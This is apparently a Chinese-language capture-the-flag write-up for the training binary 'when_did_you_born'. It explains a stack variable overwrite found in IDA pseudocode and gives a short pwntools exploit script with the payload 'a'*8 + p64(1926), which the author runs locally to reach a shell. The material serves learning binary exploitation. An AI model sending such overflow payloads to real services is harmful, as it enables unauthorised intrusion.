when did you born

When_did_you_born

日常查保护

image.png

发现开了canary(这个我至今不太清楚原理)就很迷,然后还是选择去ida里看伪代码

image.png

我们可以发现程序包含有两次的if判断和两次输入

第一次的判断是What’s Your Birth?后输入一个v5,v5=1926(这出题人皮啊)就可以继续进入到第二个判断了,第二个是What’s Your Name?后输入v4,但是v4貌似没有任何作用,第二的条件是让v5等于1926才能cat到flag。

好,大概有个思路就是让v4的输入更改v5的值。

image.png

我们点这两个变量进去看,发现v4是var_20,v5是var_18,我们要让v4覆盖v5。


payload = “a” * 8 +p64(1926)

好了,关键步骤出来了,我们就可以上脚本了

exp


from pwn import*

p = process('./when_did_you_born')

#p = remote('111.198.29.45', '53157')

payload = 'a'*8 + p64(1926)

p.recvuntil("What's Your Birth?\n")

p.sendline('2000')

p.recvuntil("What's Your Name?\n")

p.sendline(payload)

p.interactive()

远程不知道为啥连不到,那就在本地运行一遍看看结果

image.png

然后发现我们get到shell了,只是本地没有flag文件,那就算是完工了吧

你可能感兴趣的:(when did you born)